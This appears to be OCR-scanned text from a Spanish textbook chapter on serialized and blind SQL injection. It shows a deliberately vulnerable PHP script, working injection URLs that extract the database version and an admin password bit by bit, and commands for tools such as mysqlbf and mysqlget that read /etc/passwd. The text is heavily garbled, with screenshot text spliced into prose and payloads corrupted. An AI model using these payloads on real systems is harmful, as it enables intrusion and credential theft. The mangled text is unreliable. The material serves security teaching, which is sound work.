| urt: ?ri;:r.fuwwc*- stroen -".E!!e_n:.ues!i—.l’vo!o5.nhp?actmn-shaw&vo:eid-6%20.\\-1:f)éiﬁ-lnD%20union%Z!}seI’e:leOl,ISQL].1.1.1‘1A— {_Connect |
— f— 8rowser | Console Lo

|| vinformation_schema

2 <
> CHARACTER_SETS F curdate() 2009-03-04
P COLLATIONS database() -
el Blocalhost
B COLLATION _CHARACTER_SET_APPLICABILITY user_n o Blocalhas
B COLUMNS version() 5.0.41-log

P COLUMN_PRIVILEGES
> KEY_COLUMN_USAGE
= PROFILING
* ROUTINES
P+ SCHEMATA
P SCHEMA_PRIVILEGES
B STATISTICS
F TABLES
# TABLE_CONSTRAINTS
¥ TABLE_PRIVILEGES
| *» TRICGERS
| PUSER_PRIVILEGES
| eviEwsS
e T e e e
| FAnswer
> Question
*Voted
! > aae_banlists
B a _categories
P _entries
P88 _entries_cache
B ws e _logincontrel
e _pages
P @l _settings
* e _smilies
@i _userdata

Fig 2.15: MySOL Injector version COCOA en modo Browsing
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é mysqlinjector File Edit Window Help = Ji) @F mié 22:54 T José M. Palazén § Q)

(0.6.0 e ey MySqllnjector N BIEY
Urk [ hEtp:/ /W e €5 /encuesta /votos. php?action = showdvoteid = 6¥20and%201 = 0%20unionk2 Dselectk20 15U 1L L1 | ( Connect )
———— ---'BrmvserlCnnwleiLog:-
Sl SELECT user_name, ust‘r__gma_i!::s-e;_lr;\:\'-;}t‘cm — i A -:-t;ﬁ;r;:l:r: e =S { Run ')
user_name user_email user_pw -
D s @het...  Baed859abb...
SRR W @hot...  BaedB59abb...

Fig 2.16: MySOL Injector version COCOA en modo sentencia SQL

Posteriormente migraria la aplicacion a VB.NET. El resultado se llamé “SFX-SOL:” ¢ implementa
los algoritmos de Serialized SQL Injection para bases de datos Microsoft SQL Server 2005 y
Microsoft SOL Server 2008. Para obtener esta herramienta, asi como para descargar un documento
sobre introductorio a las inyecciones “FOR XML”, se remite al lector a la URL:
hup:/iwww.kachakil.com/papers/SFX-SQLi-es. htm

Eﬁ SFX-5QLi Tool [version 1.0.2.5] © Daniel Kachakil (dani@kachakil.co... |_._.i']:‘ L&
File Help
Configuraton | jection anslyss | Detabsse schema | Table data | Debug og| ———
Settings
Database engine: [_saLSmerzma,m ~ & GET . POST SsL
Target base URL: |.OK
Injection pattem: -
|| Peremetens [Cookies [ Athenticaton [Proy |
| Name Value  Injectable
! |
|
Start injection with End injection with: —
Start injection
Apply settings | | Intialize ‘ Get tables
| Working threads: 0 .:

Fig 2.17: SFX SQLi

A -_—,e’-*'—'-- o
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Llegados a este punto, quiza el problema mas importante por resolver es como pasar de una
herramienta especifica para MySQL a otra de uso mas genérico, capaz de enfrentarse a Bases de
patos ORACLE, Postgres, SQL Server, etc. Una opcion es aprovechar el codigo de herramientas
existentes de codigo abierto para SQL Injection, como “Marathon Tool”, disponible en la URL:
hitp:/WWW. codeplex.com/marathontool

Una vez superado este punto, todo serd mas facil. Habra que configurar la inyeccion de SQL,
estableciendo qué estructura va a tener el documento XML...

B ForxmlExtractor (version 0.2.1.17) =10l x|
File  Help
Configuration | Database schema| Table data | Debuglog |
— Configuration
Database engine: | SQL Server 2005/2008 =] @ Get C Post [T 550
Torgetbase URL: |01oci 3751087115 | oK |
Injection pattem:

Example: UNJON SELECT nudl pull ..., {0F. ... null pull

Parameters | Cookies | Authentication | Proxy |
Name Vakie
» i 1

[/ Injectable H

Start injection with: | End injection with: |

 Start injection

Initiakize | [aet'schema

(Status)

Fig 2.18: ConFigcion de la inyeccion

--. ¥ comenzar a realizar peticiones. Para empezar, una que proporcione la lista de los nombres de
las tablas creadas en esa base de datos o esquema.

o x|

B ForXmiExtractor (version 0.2.1.17)
File  Help
Configuration [ Dalabase schema | Table data| Debuglog |

El | J DATABASE
"] EMPLEADDS
] USERS

Completed in 253 ms

Fig 2.19: Estructura del esquema Oracle
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Dependiendo del Gestor de Bases de Datos utilizado, pue’de ser necesario determinar también los
nombres y tipos de las columnas de las tablas a extraer. Este es el caso si se trata de ORACLE 0
MySQL, que no permiten el uso del caracter “*” como sinénimo de “todos los campos” dentro de
las funciones utilizadas para serializar los datos. Con PostgreSQL y SQL Server, por su parte, e]
soporte para “*” hace innecesario este paso. .

7. Referencias

1.La presentacion que utilizaron Palako y Chema Alonso en la ShmooCon donde se recoge un
s;lmario de Serialized SQL Injection esta disponible en la siguiente URL:
- pup://www.slideshare.net/chemai64/shmoocon-2009-replayingblindsql? type=powerpoint

Y una vez que se conoce toda la informacion necesaria... toca descargar los datos: 2. Documentacion Online sobre SQL Server 2008 R2 “Libros en Pantalla™:

http -//msdn.microsoft.com/es-es/library/msi30214.aspx.

| B ForXmiExtractor (version 0.2.1.17)
File  Help

- 0] x
= 3. Documentacion Online sobre MySQL: http:/idevimysql.com/doc.

4. Documentacion Online sobre ORACLE Database 11g:

ID | NOMBRE NICK DESCRIPCION | FOTO hitp://www.oracle.com/technetwork/database/entrerprise-edition/documentation
h@a Alekusu Sufiido programa... | Images/alex.bmp
S 2 Alex Alekusu Innocent program... | Images/alex.bmp
3 Pedro Pedlagdur Uncontrollable te... |Images/pedro.bmp
4 Matias FIEMASTER Microsoft fanboy.... |Images/matias.bmp
5 Oca Thor The original auth... |Images/oca.bmp
1 Chema Maligno He self-defines a... |Images/chemab...

Completed in 253 ms

Fig 2.20: Datos de la tabla extraidos

Como se puede apreciar en el log mostrado en la siguiente figura, en un entorno Oracle como el de
las capturas anteriores, son necesarias tres inyecciones para sacar todos los datos de una tabla: una
para los nombres de las tablas, otra para las columnas y, finalmente, otra para los datos:

B ForXmiExtractor {version 0.2:1.17)
File  Help
Configuation | Database schema | Table data Debuglog

=10l x]

UNION SELECT 'l','2','3',chr(70}| lchr (111} | lchr{114) | |chr (88} | |chy (109} | Ir.'h:;I '
UNION SELECT 'l','z','3',chr{70}] lehr (111} | [chr (114} | |chr {&8] | lchr {103} | |ch:
UNION SELECT 'l','2','3',chr(70}] lchr {111} | Ichr{11l4]||chr{88)| |chr(103) | |ch:

‘Completed in 253 ms

Fig 2.21: Log de inyccciones necesarias
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Capitulo III
Blind SQL Injection

| Inyeccion en condiciones mas dificiles

‘técnicas de extraccion de informacion mostradas hasta este momento tienen una caracteristica
win: aprovechando un punto del programa en que se muestra algo procedente de la Base de
t:{;us, se altera la salida habitual y se sustituye por algo mas... interesante.

ro hay veces en que es imposible obligar a la aplicaciéon a mostrar la informacion deseada. Y
as en que, simplemente, el atacante no consigue determinar cdmo tiene que realizar la inyeccion
ara manipular los resultados.

or supuesto, si el sistema Gestor de Bases de Datos y el entorno de ejecucion soportan la
ecucion de consultas apiladas, se podran inyectar instrucciones que modifiquen los datos,
Jecuten comandos en el Sistema Operativo o realicen otras operaciones de naturaleza similar. Sin
n bargo... ;Se podria, aiin en estas condiciones, seguir extrayendo informacion de la base de
atos?

ara estudiar esta situacion, se ha creado un nuevo script, “ventas.php”, con el siguiente contenido:

<?php

3 | include 'header.inc.php’;

O | // Si se indico el producto, buscarlo
if (isset($_GET["ref']) {

7 8‘ /I Paso 1: Localizar el producto a partir de la referencia
9 $sql = "select * from almacen.productos where referencia like '%" .
P-?' $_GET["ref] . "%":
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12 $productos = ejecutar_SQL($conexion, $sql):
13 $nproductos = numero_filas($productos);
14
15 if ($nproductos == 0) {
16 echo "<h3>Referencias no encontradas</h3>";
17
18 for ($p=0;$p<$nproductos;$p++) {
19 $fila = fila($productos, $p)s
20
21 $producto = $fila["id"];
22
23 Il Paso 2: Localizar las ventas de los productos
24 $sql = "select sum(cantidad) , nombre "
25 “from almacen.productos P |eft join almacen.ventas V .
26 "on V.iid=P.id".
27 "where P.id =" . $producto .
28 "group by nombre"
29 :
30
31 $resultado = ejecutar_SQL ($conexion, $sql);
32 $nfilas = numero_filas($resultado);
33
34 echo "<h3>":
85 if ($nfilas == 0) {
36 echo "Producto con ID #" . $producto . " no encontrado";
37 } else { //Paso 3: Listar las ventas
38 $fila2 = fila($resultado,0);
39 echo "Ventas del producto #" . $producto .
40 " " . $fila2['nombre"] . " -> ",
41 (($ﬁla2{“sum"]==NULL)?“O“:$ﬁ|a2[“sum"]) :
42 " unidades<br>";
43 }
44 echo "</h3>";
45
46

ect 95
ind SOL Injection

Mostar formulario "Buscar”
cho ‘<h3>Buscar ventas de producto</h3>
<form method="GET" action="ventas.php">
Buscar Referencia: <input type="text" id="ref' name="ref">
<input type="submit" value="Buscar">

</form>";

include "pg.inc.php";

COmo puede observarse en las lineas 9 y 10 del nuevo fichero, existe una vulnerabilidad de tipo

QL Injection:

$sql = "select * from almacen.productos where referencia like '%" .
S_G ET["ref“] i ﬂ%lll;

Sin embargo, hay un problema: posteriormente, de entre las columnas de la tabla de productos, el
i}mgrama solo utiliza los valores de “id”, que es de tipo entero.

Si se intentara inyectar en esta columna un valor de cadena se produciria un eITor y 1o se mastra.i’na
nada. Si se inyectara en cualquier otro campo de la consulta, los datos, simplemente, serian

ignorados,

- Las lineas 24 y posteriores realizan una nueva peticién a la Base de Datos

$sql = "select sum(cantidad) , nombre j' . )
"from almacen.productos P left join almacen.ventas V "
"onV.id=P.id".
"where P.id =" . $producto .
"group by nombre"

E]

Y m4s adelante se muestran sus resultados. En caso de no obtenerse ninguno, en las lineas 35 y 36

8¢ muestra un mensaje de error:
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if ($nfilas == 0) {
echo "Producto con ID #" . Sproducto . " no encontrado";

Este es el unico punto en el que se puede controlar la salida del script. Y se trata de un valoy
entero. Dada la situacion, parece que lo tnico que se va a poder mostrar son numeros, Sélo
nimeros...

2. Todo esta hecho de niimeros

En este caso, atin no puede decirse que la inyeccion sea realmente “a ciegas”, ya que la aplicacion
muestra algun dato. El unico problema es como visualizar una cadena a través de un campo
numérico. Pero, al fin y al cabo, una cadena no es mas que una sucesion de caracteres. Y un
caricter se representa con un byte.

En PostgreSQL, las funciones que realizan la seleccién de caracteres y su posterior conversion a
valor numérico son “substr” y “ascii”, respectivamente. Por otro lado, “length™ proporciona la
longitud de una cadena.

Combinandolas con la ya conocida “generate series”, se puede realizar una peticion como la
siguiente, que determina la version del Gestor de Bases de Datos utilizado:

http://webserverl/pruebas/ventas.php?ref=A%" union all
select null,null,null,-ascii(substr(version(),i,1))
from (select generate_series(1,length(version())) as i) as T--

Esta vez se inyecta no una tnica fila, sino varias, aprovechando que el programa va a mostrarlas
todas:

'HA INICIADO SESION COMO: Administrador

UFE R ulloull -ascisul 2l EOXH@,’wehsmul

? ] 0 1258

-

= | |E

Ventas del producto #1 tornillo > 7 unidades
Producto con ID #-80 no encontrado "
Producto con ID #-111 no encontrado

Producto con ID #-115 no encontrado |

™ T B = & ST NN S I P T —_—
i
|

4 m L3

Fl}; 3 iE Extmyéndé by1es

_ o

- B
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..Néwse que en los datos inyectados figura el valor negativo del codigo ASCII de los distintos

caractel'es.
golo queda seleccionarlos y usar una herramienta como EnDe para convertirlos en la cadena que

representan. (hutp://www.owasp.org/index.php/Category:OWASP_EnDe):

30,111,115,116,103,111,101,33,81,?6,32,56,46,52,46,56,32,111,110,32,105,54,56,54,45,1

2,99,45.103,105,110,11?,120,45,103,110,117,44,32,99,111,109,1i2,105,105,101,100,32,BE
121,32,71.67.67,32,103,99,99,55,52,46,53.16,114,101,97,103,32,40.55,9&,117,120,115,1f
,ﬁT,?G,lOS,lIO,Q?,llG,lll,32,52,&6,53,46,50,45,56,117,98,117,110,116,117.52,41,32,52,‘
6,53,46,50,44,32,51,50,45,98, 105,116

Text | Hex | parsed Scratchpad ..

j R
HTML Entity (NCR)

AP i =

PostgreSQL 8.4.8 on 1686-pc-linux-gnu, compiled by GCC gec-4.5.real {Ubuntu/Linaro
4.5.2-Bubuntud) 4.5.2, 32-bit

Fig 3.2: Recuperando la informacion

Supéngase ahora que se modifica el fichero “ventas. php”, sustituyendo su linea 36:

echo "Producto con ID #" . $producto . " no encontrado": —l
por
* echo "Producto no encontrado™; —l

Con este pequefio cambio se esfuma toda posibilidad de hacer que el programa muestre algun
valor elegido por el atacante. Pero aiin sigue habiendo formas de extraer la informacion.
Supéngase que en las pruebas de diagnéstico realizadas por el atacante ha sido posible conocer los
id de cinco productos:

1 Tornillo

2 | Tuerca

3 Bombilla

4 | Arandela

5 | Destornillador

~+ Y que se desea determinar el valor devuelto por la funcion “version()”. Un primer paso podria
Ser lanzar una peticion como:
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http://webserver/pruebas/ventas.php?re[=aaaaaaaaa' union all
select null,null,generate_series(1,length(version())),1--

La respuesta contendra la linea correspondiente al producto con id igual a 1, repetida tantas Veces
como corresponda a la longitud de la cadena. 3

HA INICIADO SESION COMO: Administrador
Sibinioese o Ronias i -
Ventas del producto #1 tornillo -> 7 unidades

™l

iM o0~ 20X H & webserverl

m s

Ventas del producto #1 tornillo -> 7 unidades

Xlomdon Mol ooendenndo HE dorenilla > 7 senidadon
4| m i

Fig 3.3: Longitud

En este caso, aparecieron 112 filas de ventas de tornillos. La cadena tiene, pues, esa longitud: 112,
Ya se puede proceder a extraer los correspondientes caracteres. Una URL debidamente construida
podria permitir la recuperacion de un numero elevado de caracteres, limitado sdélo por los
condicionantes de longitud de la URL y de funcionamiento del entorno en que funciona la

aplicacion.

Considérese la siguiente:

http://webserverl/pruebas/ventas.php?ref=aaaaaaaaa’ union all select
null,null,generate_series(1,ascii(substr(version(),1,1))),1 union all select
null,null,generate_series(1,ascii(substr(version(),2,1))),2 union all select
null,null,generate_series(1,ascii(substr(version().3.1))),3 union all select
null,null,generate_series(1,ascii(substr(version().4,1))),4 union all select
null,null,generate_series(1,ascii(substr(version(),5,1))),5 union all select
null,null,generate_series(,ascii(substr(version(),6,1))),1--

En este caso se extraen 6 caracteres, si bien puede conseguirse un nimero mayor si se continia
encadenando mas consultas con “Union AIl” al final de la URL.

El resultado obtenido consistid en 80 repeticiones de las ventas de tornillos (id=1), seguida de 111

de las de tuercas (id=2), 115 bombillas (i¢=3), 116 arandelas (id=4), 103 destornilladores (id=5) ¥

al final, otros 114 tornillos (de nuevo, id=1).

capitulo [11. Blind SOL Injection
l_.‘

o5 NUMETOS, 80, 111, 115, 116, 103 y 114 son los codigos ascii de los caracteres ‘Postgr*, con
omienza el identificador de la version.

con objeto de evitar esta extraccion de cantidades arbitrarias de datos, se puede modificar el
codigo de “ventas.php”, de forma que muestre un niimero méaximo de registros. Por ejemplo, 4.

sto se puede conseguir sustituyendo la linea 18:

‘Que obtiene la siguiente respuesta:

Der

l‘t'f‘—?ﬁ'_'-"- ,O_ *BCeX I = webserverl X L

i

.|

m_

Ventas del producto #1 tornillo > 7
unidades

Buscar ventas de producto _ -

LS [T . " : ]

Fig 3.4: Estado inicial
Sial final de ella se inserta un operador “AND” seguido de una condicion que sea cierta, como en:

E hltpiffwabserverlIpruebasﬁventas.php?relEA%' and 1=1 --

e el rc.:sultado obtenido seguird siendo el mismo. A este tipo de inyeccion se le denomina
Inyeccion SQL de cambio de comportamiento cero” (ISQLO).
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Por el contrario si la condicion que se afiade es falsa:

| http://webserverl/pruebas/ventas.php?ref=A%' and 1=2 --

3

= Al
@' '| & http://webserve O ~ 2 ¢ X H (& webserverl x 1

HA INICIADO SESION COMO: Administrador | |

m

Referencias no encontradas ; ‘

Buscar ventas de producto

< PN | »

Fig 3.5: Cond-icién falsa

... esta vez no hay filas que cumplan los requisitos impuestos y no aparece ningin producto. Se ha
provocado un cambio de comportamiento y se puede hablar de “Inyeccion SQL de cambio de
comportamiento positivo” (ISQLA).

Las posibilidades no acaban con el operador AND. Otros ejemplos podrian usar el operador OR
para generar “OR 1=0" (ISQLO) y “OR 1=1 (ISQL+). O la concatenacion de cadenas, con “|| " ”
(ISQLO) y *|| 'a' ” (ISQL+). Y en inyecciones sobre campos numéricos, la suma y la resta tambi¢n
permiten introducir expresiones como “+100-100" (ISQLO) y “+1” (ISQL+).

En cualquier caso, lo que realmente importa es que las diferencias de comportamiento entre ISQLO
y ISQL+ permiten determinar si una condicién es verdadera o falsa. Basta con estudiar el
comportamiento de la aplicacion.

4. Todo esta hecho de bits

Verdadero o falso. Blanco o negro. Cara o Cruz. Abierto o Cerrado. Cero o uno. Eso es un bit:
Exactamente la cantidad de informacion que se obtiene con una peticion de las referidas en el

apartado anterior.
Y un byte son 8 bits.

o gt
Es posible extraer los bits que componen el valor ASCII de un caricter, gracias al operador &
que hace una operacion logica de AND, bit a bit, entre sus dos argumentos. De este modo, puede
determinarse si cada bit vale 0 6 1 con expresiones del tipo

!.%262)“)’{]--

112, el valor ascii del carécter “p”.

itulo 111 Blind SQL Injection m

EXPRESION
ascii(<caracter>) & 1 >0
ascii(<caracter=) & 2> 0
ascii(<caracter>) & 4 >0
ascii(<caracter>) & 8 >
ascii(<caracter>) & 16 > 0
ascii(<caracter>) & 32 >0
ascii(<caracter>) & 64 > (0
ascii(<caracter>) & 128 > (

Con esta informacion puede crearse una URL que revela, por ejemplo, si el bit menos significativo
el primer bit del primer carécter de la contrasefia del usuario de la aplicacion “admin” es 0 6 1:

I :.:t_tp:ff’webserver 1/pruebas/ventas.php?ref=A%'"and
(ascii((select substr(contrasena,1,1) from almacen.usuarios where nombre="admin'))
%26 1)>0 -

Como el caracter "&" tiene un significado especial en las URLs, es necesario codificarlo con
“9626".

El resultado es un mensaje de “referencias no encontradas”. Eso quiere decir que la condicion
inyectada es falsa y, por tanto, que el bit en cuestion vale 0. Modificando “%26 17 por “%26 2” se
‘;[p_uede extraer el segundo bit:

ilttp:‘ﬁwebserverl /pruebas/ventas.php?ref=A%' and
(ascii((select substr(contrasena, 1,1) from almacen.usuarios where nombre="admin'))

-y asi sucesivamente. En la siguiente tabla, la primera fila indica con qué valor se realizé la

operacion de AND bit a bit, la segunda si apareci6 algin resultado y la tercera el valor que se

Puede inferir para el correspondiente bit del valor ASCII del caracter 01110000, que en decimal es

(1)

%26 64 | %2632 | %2616 %26 8 %26 4 %26 2 %26 1

Si Si SI NO NO NO NO
1 1 1 0 0 0 0

Una vez se conoce el primer cardcter se puede pasar al segundo sustituyendo en las peticiones

I@:ontr&sena, 1,1)
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.. por

| substr(contrasena,2,1)

... y después el tercero, y el cuarto...

Para saber cuiando acabar, es necesario conocer la longitud de la cadena. Una forma de conseguir]y
seria extraer los distintos bits que forman el nimero retornado por: F

select length(contrasena) from almacen.usuarios where nombre='admin’

Pero normalmente no es necesario comprobar todos y cada uno de los bits. Al fin y al cabo, ya ga
conoce que las contrasefias de esta aplicacion se almacenan en texto claro y pocas contrasefiag
tienen mas de 16 caracteres... j

Asi podria optarse por comprobaciones que permitan ir acotando la longitud de la cadena de fo
dicotémica. Con:

http://webserverl/pruebas/ventas.php?ref=A%'  and  (select  length(contrasena) from_'g
almacen.usuarios where nombre='admin') >=16 -- |

... se obtendria un mensaje de “referencia no encontrada”. Por tanto, el valor buscado debe estar
comprendido entre 0 y 15. Probando un valor intermedio:

http://webserverl/pruebas/ventas.php?ref=A%' and (select length(substr(contrasena,l,l)) from
almacen.usuarios where nombre="admin') >=8 --

... se muestran los valores correspondientes al producto “tornillo”. Esta vez la condicion es cierta.
El rango se reduce a entre 8 y 15. Con 12...

almacen.usuarios where nombre='admin') >=12 --

. no aparece nada. Entre 8 y 11, pues. Siguiendo con este proceso, se terminaria comprobandof

que la longitud de la cadena es de 9 caracteres.

A estas alturas, el atacante es capaz de extraer el valor de un campo de una fila de la base de datos:

Y después, otra columna. Y asi hasta extraer todo el registro. Por otro lado, es posible obtener las
distintas filas de la tabla, bien usando técnicas de Serialized SQL Injection, bien mediant®

estructuras del tipo “OFFSET... LIMIT 1” (o la sintaxis equivalente en el Gestor de Bases de

Datos utilizado), tal y como se vio en el capitulo L.

La tabla completa esta en sus manos.

http://webserverl/pruebas/ventas.php?ref=A%' and (select length(substr(contrasena,l,1)) from

Automatizacién

‘Ia conferencia BlackHat USA de 2004, Cameron Hotchkies presento un trabajo que, bajo el
o de “Blind SOL Injection Automation Techniques”, proponia métodos para desarrollar
mas que automaticen la explotacion de un parametro vulnerable a técnicas de Blind SOL
jection. Uno de los elementos claves de su propuesta tiene que ver con la forma en que se
b den detectar las diferencias de comportamiento ante inyecciones ISQLO e ISQL+-.
empezar, si existieran algunas palabras que siempre aparecen cuando se introduce una
cion verdadera, pero nunca cuando ésta es falsa, se podria utilizar un enfoque de “blsqueda
balabras claves”. Simplemente se tratarfa de determinar si en la respuesta aparecen o no tales

bras.

método es de los mds rapidos a implementar, pero exige cierta interaccion previa con el
io, que debe seleccionar correctamente cual es la palabra clave en los resultados positivos o

Refinando este sistema se puede crear un algoritmo basado en “diferencias textuales™. Se partiria
os conjuntos de palabras, uno correspondiente a las paginas de resultados positivos y otro a las
egativos. Para determinar el resultado de una inyeccion de cddigo, se realizaria un cilculo de
distancias a ambos conjuntos, selecciondandose el mas “cercano™.

la respuesta de la aplicacion ante una determinada entrada correcta e inyecciones de cambio de
mportamiento cero es siempre la misma, puede usarse una aproximacién basada en firmas
5 o similares. La automatizacion de herramientas basadas en esta técnica es sencilla:

a) Se realiza el hash MD35 de la pagina de resultados positivos con inyeccion de codigo de
cambio de comportamiento cero. Por ejemplo: “and 1=1"".

b) Se vuelve a repetir el proceso con una nueva inyeccion de codigo de cambio de
comportamiento cero. Por ejemplo: “and 2=2".

¢) Se comparan los hashes obtenidos en los pasos a y b para comprobar que la respuesta
positiva es consistente.

d) Se realiza el hash MD5 de la pagina de resultados negativos con inyeccion de codigo de
cambio de comportamiento positivo. Por ejemplo “and 1=2"".

¢) Se comprueba que los resultados de los hashes MDS5 de los resultados positivos y
negativos son distintos.

f) Si se cumple, entonces se puede automatizar la extraccion de informacion por medio de
hashes MD3.

la técnica de automatizacion no seria valida para aplicaciones que cambian constantemente la
SStructura de resultados, por ejemplo aquellas que insertan publicidad dinimica ni para aquellas en
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las que ante un error en el procesamiento devuelvan el control a la pagina actual, No obstane
e

sigue siendo la opcion mas répida en la automatizacion de herramientas de Blind SQL Injectiop,

En lugar de MDJ5 se podria utilizar otras funciones hash o calculos realizados a partir de log
valores ASCII de los caracteres que conforman la respuesta. De nuevo, es posible establecer dos
valores de referencia, uno para resultados positivos y otro para negativos, y determinay el
resultado a partir de la distancia de la respuesta a ambos, quizd aplicando una serie de filtros dq
tolerancia y adaptacion.

Finalmente, si la estructura de las respuestas es diferente ante inyecciones ISQLO e [SQL+, puede.
analizarse el Arbol HTML de la pagina para determinar el significado de la respuesta.

Junto con la presentacion, Cameron Hotchkies presentd una herramienta llamada SQueal, que mgs
adelante evolucionaria hasta convertirse en lo que hoy se conoce como Absinthe.

6. Herramientas

El uso manual de técnicas de Blind SQL Injection puede llegar a ser de lo mas tedioso. Realizar
numerosas peticiones para ir obteniendo bit a bit la informacion deseada, agruparlos para formar
los caracteres, consultar una tabla 4SCI/, tener cuidado de no equivocarse... Quiza para un byte o
dos pueda resultar divertido, pero un pentester tiene mejores cosas que hacer. Cosas que puedan
aportar mas valor a su cliente.

Aqui es donde entran en juego las herramientas que automatizan los procesos de SQL Injection.
Sin ellas, estariamos hablando de poco mas que una curiosidad teérica.

6.1.SQLInjector

La primera herramienta que se presentard es SQLInjector, creada por David Litchfield y Chrish
Anley, ambos de la empresa NGS Software.

Esta herramienta utiliza como forma de automatizacion la bisqueda de palabras clave en los
resultados positivos. Es decir, se busca encontrar una palabra que aparezca en los resultados
positivos y que no aparezca en los resultados negativos.

Para probar si el pardmetro es susceptible a Blind SQL Injection se utiliza un sistema basado en
inyecciones de codigo de cambio de comportamiento cero sumando y restando el mismo valor. Por
ejemplo, si se tiene un pardmetro que recibe el valor 100, el programa ejecuta la peticion con 100
+ valor — valor. Si el resultado es el mismo, se deduce que el parametro es susceptible a ataques de
SQOL Injection.

Al utilizar bisquedas de palabra clave en resultados positivos, es necesario determinar de forma
manual el contenido de las respuestas a peticiones palabras devuelve el cddigo HTML. Después
habra que lanzar una consulta con algo que haga que sea falso, por ejemplo con AND 1=0, y ver

Ik Valor de referencia correcto en el parametro vulnerable

itulo 111, Blind SOL Injection - 05

¢ palabras aparecen en los resultados verdaderos y no aparecen en los falsos (con seleccionar
na de ellas ya valdria).El codigo fuente de esta aplicacion, escrita en Lenguaje C, es publico y se
uede descargar de la web: http://www.databasesecurity.com/sqlinjection-tools.htm
ara iniciar SQLInjector se puede lanzar un comando como el siguiente:

é:psqiinjector -t www.ejemplo.com -p 80 -f request.txt -a query -o WHERE -qf query.txt -gc
EOO -ec 200 -k 152 -gt Science -s mssq]l

yonde los distintos pardmetros tienen el siguiente significado:

t Servidor

D Puerto

f Fichero de texto que indica la aplicacion vulnerable y el parametro a usar.
a

0

Accidn a realizar

Fichero de salida

qf | Fichero de texto con la consulta a ejecutar a ciegas

'gc | Codigo devuelto por el servidor cuando es un valor correcto
lec | Cédigo devuelto pro el servidor cuando se produce un error

f_f:gg Palabra clave en resultado positivo
s Tipo de base de datos. La herramienta estd preparada para MySQL, Oracle, Microsoft

[GET /news.asp?ID=#14 HTTP/1.1

SQL Server, Informix, IBM DB2, Sybase y Access.

Un ejemplo del contenido del fichero request.xt seria:

Host: www.ejemplo.com

i, para query.txt:
SELECT @(@version

6.2.SQLbftools

Publicada por “illo” en reversing.org en diciembre de 2005, SQLbftools es una coleccion de
h'31'1‘am1v.3ntals, escritas originalmente en C, que automatizan los ataques a ciegas contra motores de
bases de datos MySQL. Sus fundamentos son, a grandes rasgos, los mismos de SQLInjector. Esta

“COmpuesta por tres aplicaciones:

Mmysqibf
E_S la herramienta principal para la automatizacion de la técnica de Blind SQL. Para poder
Secutarla se debe contar con un servidor vulnerable en el que el pardmetro esté al final de la URL
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y la expresion no sea compleja. Entre otras, soporta funciones de MySQL tales como version) - get " . dos.phtml?7id_autor=134" "/etc/passwd" "David"
| :

user(), now() o sytem_user(). '5 gl blind downloader $Revision: 1.35 $
eversing.org http://www.reversing.org

Se puede invocar mediante el siguiente comando: ;
| mysqlbf "host” "comando” "palabraclave E R YAV GIVE MORE PROBLEMS THAN RESULTS

www.hackt imes.com www.unsec.net

Donde:
- host es la URL con el servidor, el programa y el parametro vulnerable. ' . 80
'. . os.phtml
- comando es un comando a ejecutar de MySQL. 4 as: id_autor=134
-: s/etc/passwd
- palabraclave es el valor que solo se encuentra en la pagina de resultado positivo. mato gi‘;’i Shany tlenoht:azs
- i H
En la siguiente imagen se observa cdmo se lanza la aplicacion contra una base de datos vulnerable ; ]O?tfﬁ toadeciSSoibytes
y es posible extraer el usuario de la conexion. rile is 29 bytes long

H:N ?mysqlbt "http: /7 / dos.phtml7Yid_autor=134" "userl()" "David" : - F--
x:@:80:root:/root:/bin/

http-sql adaptive bruteforce $Revision: 1.13 $ o - — :
ilo@reversing.org http://www.reversing.org i Fig 3.7: Extraccion de version()

This program is now being developed by Dab at ]
http://www.unsec. net 3 mysqlst

28?% e herramienta se utiliza para volcar los datos de una tabla. Primero se consulta al diccionario de
uri :  dos.phtml : tos para extraer el nimero de campos, los nombres, los tipos de datos de cada campo y por

¥ =13 v
SR elchiaric® (ltimo el volcado de las filas.

sall: Cnull) :
:géL 8avid utor de este paquete de herramientas abandond su desarrollo, que posteriormente fue retomado
char: abcdefghi jklmnopqgrstuvwxyz@1223456789%.: -()L1{3@=/\1#714A<>:D por Alejandro Ramos, “Dab”, que las porté a Perl.

[+] dicctionary lenght: 425
[+] dict loaded 380 bytes
resolving

best guess:

user() = www-data@localhost
total hits: 230

Elresultado del trabajo de Alejandro Ramos fue una nueva herramienta llamada Bfsgl, que puede
(descargarse de: At tp:/iwww.unsec.net/download/bsqlbf.pl

Fig 3.6: Extraccion de user()

' E_Sta herramienta no necesita la intervencion del usuario para averiguar cual es la(s) palabra(s)
:Clave que permite distinguir entre inyecciones de cambio de comportamiento cero e inyecciones de
‘Cambio de comportamiento positivo. Determina las distintas inyecciones de manera automética
Tealizando varias peticiones y analizando las respuestas.

Como se puede apreciar en la parte inferior de la imagen, el programa ha necesitado un total de
230 peticiones para sacar 18 bytes.

mysqlget

Es la herramienta pensada para descargar ficheros del servidor. Aprovechando las funciones @
ciegas y los comandos del motor de base de datos se puede ir leyendo letra a letra cualquier ficher©
del servidor.

16.4.SQL PowerInjector

Esta herramienta estd escrita en NET por Francoeis Larouche y ha sido liberada en el afio 2006.

SoL Powerlnjector utiliza técnicas de SQL Injection tradicionales basadas en mensajes de error y

enicas de Blind SQOL Injection.

En la siguiente imagen se ve como se puede descargar el fichero /etc/password a partir de und
vulnerabilidad Blind SOL Injection usando mysglget:
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En este tltimo caso, puede funcionar comparando resultados completos, equivalente a realizgy \ -
hash MD5 de la pagina de resultados, o bien, para los motores de Microsofi SOL Server, y Sal
para esos motores, también se puede realizar utilizando el sistema basado en tiempos con W 'I
FOR (o time delay) descrito por Chrish Anley en “(more) Advanced SQOL Injection”. o

[Hast Information]|| DB 5¢

Explolt Typey ——— -
Select the type of injection: (@ Blind Injection

Para los motores de la base de datos Oracle, desde mayo del afio 2007, también soporta :
inyeccion basada en tiempos llamando a los procedimientos almacenados de Orag
DBMS_LOCK y utilizando las funciones de Benchmark para generar retardos en el gestor
bases de datos MySQOL.

Select The Target Database: |MS 5QL Server

rConnectoni—————

1
%T‘rg.t URL: http:h'l

1
| Connection Method: ® Post (O Get [ Use 550 %Adjust Proxy Configuration
|

| [T Comment out remainder of query [ Append textto end of query

Quizd su inconveniente mas resefiable sea que no ayuda a buscar parametros vulnerables, A su
favor puede apuntarse un trabajado interfaz grifico, tal y como se puede apreciar en la sigujeng
imagen:

[Fnrm Parameters: — - —
Hama; Parameters lH‘!TP ] Edit i

| i
iD.FaUIt Value Harme |D|fauFt |Injet.tab|a | E Delete]

[T Injectable Parameter

e SQL Pawer, Injector 1.1.1

e e ey R P Ay =T

Patamelers

URL o A o e
a | Load Page

Submit URL it 2 o i FE | c_i:aﬂelull =

|[7 Treat Value as String

